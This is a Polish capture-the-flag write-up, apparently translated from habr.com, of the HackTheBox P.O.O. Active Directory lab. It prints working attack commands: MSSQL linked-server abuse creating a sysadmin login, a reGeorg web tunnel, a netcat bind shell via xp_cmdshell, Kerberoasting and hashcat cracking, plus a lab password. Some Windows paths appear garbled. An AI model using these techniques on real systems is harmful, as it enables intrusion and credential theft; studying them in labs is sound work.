HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

W tym artykule omówimy przejście nie tylko maszyny, ale całej mini-laboratoriów z platformy HackTheBox.

Jak opisano, P.O.O. jest przeznaczony do testowania umiejętności na wszystkich etapach ataków w małym środowisku Active Directory. Celem jest przejęcie dostępnego hosta, podniesienie uprawnień i ostatecznie skompromitowanie całej domeny, zbierając przy tym 5 flag.

Połączenie z laboratorium odbywa się przez VPN. Zaleca się, aby nie łączyć się z komputerem roboczym lub hostem, gdzie znajdują się ważne dla Ciebie dane, ponieważ wchodzisz do prywatnej sieci z ludźmi, którzy mają pewne umiejętności w zakresie bezpieczeństwa informacji 🙂

Informacje organizacyjne
Abyście mogli poznawać nowe artykuły, oprogramowanie i inne informacje, stworzyłem kanał w Telegramie i grupę do dyskusji na wszelkie pytania w dziedzinie ITE CB. Również Wasze osobiste prośby, pytania, sugestie i zalecenia rozważę osobiście i odpowiem wszystkim.

Wszystkie informacje przedstawione są wyłącznie w celach edukacyjnych. Autor tego dokumentu nie ponosi żadnej odpowiedzialności za jakiekolwiek szkody wyrządzone komukolwiek w wyniku wykorzystania wiedzy i metod uzyskanych w wyniku studiowania tego dokumentu.

Intro

Ten endgame składa się z dwóch maszyn i zawiera 5 flag.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Otrzymasz także opis oraz adres dostępnego hosta.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Zaczynamy!

Recon flag

Ta maszyna ma adres IP 10.13.38.11, który dodaję do /etc/hosts.
10.13.38.11 poo.htb

Pierwszym krokiem jest skanowanie otwartych portów. Ponieważ skanowanie wszystkich portów za pomocą nmapa zajmuje dużo czasu, najpierw zrobię to za pomocą masscan. Skanujemy wszystkie porty TCP i UDP z interfejsu tun0 z prędkością 500 pakietów na sekundę.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Teraz, aby uzyskać bardziej szczegółowe informacje o usługach działających na portach, uruchomimy skanowanie z opcją -A.

nmap -A poo.htb -p80,1433

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

W ten sposób mamy usługi IIS i MSSQL. Dowiadujemy się także rzeczywistej nazwy DNS domeny i komputera. Na serwerze WWW spotyka nas strona startowa IIS.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Zobaczmy, jakie są dostępne katalogi. Używam do tego gobustera. W parametrach podajemy liczbę wątków 128 (-t), URL (-u), słownik (-w) i interesujące nas rozszerzenia (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

W ten sposób mamy HTTP uwierzytelnianie dla katalogu /admin oraz dostępny plik do przechowywania usług .DS_Store. .DS_Store to pliki, w których przechowywane są ustawienia użytkownika dla folderu, takie jak lista plików, położenie ikon, wybrane tło. Taki plik może trafić do katalogu serwera WWW u programistów internetowych. W ten sposób możemy uzyskać informacje o zawartości katalogu. Można do tego użyć DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Otrzymujemy zawartość katalogu. Najciekawsze jest tutaj katalog /dev, z którego w dwóch gałęziach możemy zobaczyć źródła i pliki db. Mamy jednak możliwość zobaczenia pierwszych 6 znaków nazw plików i katalogów, jeśli serwis jest podatny na IIS ShortName. Aby sprawdzić tę podatność, możemy użyć Skaner nazw krótkich IIS.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

I znajdujemy jeden plik tekstowy, który zaczyna się od „poo_co”. Nie wiedząc, co dalej zrobić, po prostu wybrałem z słownika katalogów wszystkie słowa zaczynające się na „co”.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

I przeszukamy za pomocą wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

I znajdujemy odpowiednie słowo! Sprawdzamy ten plik, zapisujemy dane uwierzytelniające (sądząc po parametrze DBNAME, są one z MSSQL).

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Zgłaszamy flagę i przechodzimy do 20%.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Huh flag

Łączymy się z MSSQL, używam DBeaver.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Nie znajdujemy nic interesującego w tej bazie, stwórzmy Edytor SQL i sprawdźmy, jacy są użytkownicy.

SELECT name FROM master..syslogins;

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Mamy dwóch użytkowników. Sprawdźmy swoje uprawnienia.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

W ten sposób nie mamy żadnych uprawnień. Sprawdźmy powiązane serwery, na ten temat szczegółowo pisałem. tutaj.

SELECT * FROM master..sysservers;

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Tak znajdujemy kolejny SQL Server. Sprawdźmy, jak działają komendy na tym serwerze za pomocą openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

I możemy nawet budować drzewo zapytań.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

W rzeczy samej, kiedy wykonujemy zapytanie na powiązanym serwerze, zapytanie to działa w kontekście innego użytkownika! Sprawdźmy, w kontekście jakiego użytkownika pracujemy na powiązanym serwerze.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

A teraz sprawdźmy, w jakim kontekście wykonywane są zapytania z powiązanego serwera na nasz!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

W ten sposób jest to kontekst DBO, który powinien mieć wszystkie uprawnienia. Sprawdźmy uprawnienia w przypadku zapytania z powiązanego serwera.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Jak można zauważyć, mamy wszystkie uprawnienia! Stwórzmy więc naszego administratora. Ale przez openquery się nie udaje, zróbmy to przez EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

A teraz logujemy się jako nowy użytkownik i obserwujemy nową bazę danych flag.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Zbierz ten flag i idź dalej.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

BackTrack flag

Zdobędziemy powłokę za pomocą MSSQL, używam mssqlclient z pakietu impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Musimy zdobyć hasła, a pierwsze, co już spotkaliśmy, to strona internetowa. Tak więc potrzebujemy konfiguracji serwera webowego (nie udaje się wrzucić wygodnej powłoki, najwyraźniej działa firewall).

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Jednak dostęp jest zabroniony. Chociaż możemy przeczytać plik z MSSQL, musimy tylko wiedzieć, jakie języki programowania są skonfigurowane. W katalogu MSSQL dowiadujemy się, że jest Python.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Wtedy przeczytanie pliku web.config nie stanowi problemu.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Z znalezionymi danymi logujemy się na /admin i zabieramy flag.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Foothold flag

W rzeczywistości użycie firewalla powoduje pewne niedogodności, ale przeglądając ustawienia sieci, zauważamy, że używana jest także protokoł IPv6!

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Dodajemy ten adres do /etc/hosts.
dead:babe::1001 poo6.htb
Znowu przeskanujmy hosta, ale tym razem protokołem IPv6.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

A przez IPv6 dostępna jest usługa WinRM. Połączmy się z znalezionymi danymi.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Na pulpicie znajduje się flag, oddajemy ją.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

P00ned flag

Po przeprowadzeniu rekonesansu na hoście za pomocą winpeas nie znajdujemy nic szczególnego. Wtedy podjęto decyzję, aby ponownie poszukać danych (na ten temat też pisałem artykuł). Ale nie udało mi się zdobyć wszystkich SPN z systemu przez WinRM.

setspn.exe -T intranet.poo -Q *F*

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Wykonajmy polecenie przez MSSQL.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

W ten sposób uzyskujemy SPN użytkowników p00_hr i p00_adm, co oznacza, że są oni podatni na atak zwany Kerberoasting. Krótko mówiąc, możemy uzyskać hashe ich haseł.

Na początku musimy uzyskać stabilny shell jako użytkownik MSSQL. Jednak, ponieważ mamy ograniczony dostęp, możemy komunikować się z hostem tylko przez porty 80 i 1433. Istnieje jednak możliwość tunelowania ruchu przez port 80! W tym celu użyjemy następującej aplikacji. Prześlijmy plik tunnel.aspx do katalogu domowego serwera WWW — C:inetpubwwwroot.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Jednak przy próbie dostępu do niego otrzymujemy błąd 404. Oznacza to, że pliki *.aspx nie są wykonywane. Aby pliki z tym rozszerzeniem mogły być wykonywane, zainstalujemy ASP.NET 4.5 w następujący sposób.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

I teraz, przy dostępie do tunnel.aspx, otrzymujemy odpowiedź, że wszystko jest gotowe do pracy.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Uruchommy część kliencką aplikacji, która zajmie się retransmisją ruchu. Będziemy przekierowywać cały ruch z portu 5432 na serwer.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

I użyjemy proxychains, aby przesyłać ruch z dowolnej aplikacji przez nasz proxy. Dodamy to proxy do pliku konfiguracyjnego /etc/proxychains.conf.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Teraz prześlijmy na serwer program netcat, za pomocą którego zrealizujemy stabilny bind shell, oraz skrypt Invoke-Kerberoast, którego użyjemy do przeprowadzenia ataku Kerberoasting.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Teraz uruchamiamy listenera przez MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

I łączymy się przez nasz proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

A teraz zdobądźmy hashe.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Następnie musimy przetestować te hashe. Ponieważ w słowniku rockyou nie było tych haseł, użyłem WSZYSTKICH słowników haseł, które zostały dostarczone w Seclists. Do łamania użyjemy hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

I znajdujemy oba hasła, pierwsze w słowniku dutch_passwordlist.txt, a drugie w Keyboard-Combinations.txt.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

I tak mamy trzech użytkowników, idziemy do kontrolera domeny. Najpierw dowiedzmy się jego adresu.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Świetnie, poznaliśmy adres IP kontrolera domeny. Sprawdźmy teraz wszystkich użytkowników domeny oraz kto z nich jest administratorem. Pobierzmy skrypt do uzyskania informacji PowerView.ps1. Następnie połączymy się za pomocą evil-winrm, podając w parametrze -s katalog ze skryptem. A potem po prostu załadujemy skrypt PowerView.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Teraz mamy dostęp do wszystkich jego funkcji. Użytkownik p00_adm wydaje się być uprzywilejowany, więc będziemy działać w jego kontekście. Utworzymy obiekt PSCredential dla tego użytkownika.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Teraz wszystkie polecenia PowerShell, w których wskażemy Creds, będą wykonywane w imieniu p00_adm. Wyświetlmy listę użytkowników i atrybut AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Więc nasz użytkownik naprawdę jest uprzywilejowany. Sprawdźmy, w jakich grupach się znajduje.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Ostatecznie upewniamy się, że użytkownik jest administratorem domeny. Daje mu to prawo do zdalnego logowania się do kontrolera domeny. Spróbujmy zalogować się przez WinRM, używając naszego tunelu. Zaskoczyły mnie błędy generowane przez reGeorg'a podczas korzystania z evil-winrm.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

W takim razie skorzystajmy z innego, prostszego, skryptu aby połączyć się z WinRM. Otworzymy i zmienimy ustawienia połączenia.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Próbujemy połączyć się i jesteśmy w systemie.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

Ale flagi nie ma. Zobacz więc, kto jest użytkownikiem i sprawdźmy pulpity.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

U mr3ks znajdujemy flagę i laboratorium ukończone w 100%.

HackTheBox endgame. Przechodzenie laboratorium Professional Offensive Operations. Pentest Active Directory

To wszystko. W ramach informacji zwrotnej, skomentujcie – czy dowiedzieliście się czegoś nowego z tego artykułu i czy był on dla Was przydatny.

Możecie dołączyć do nas w Telegram. Tam znajdziecie interesujące materiały, udostępnione kursy oraz oprogramowanie. Stwórzmy społeczność, w której będą ludzie znający się na wielu dziedzinach IT, abyśmy zawsze mogli sobie nawzajem pomóc w wszelkich kwestiach IT i bezpieczeństwa.

Źródło: habr.com

Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS 🔥 Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS | ProHoster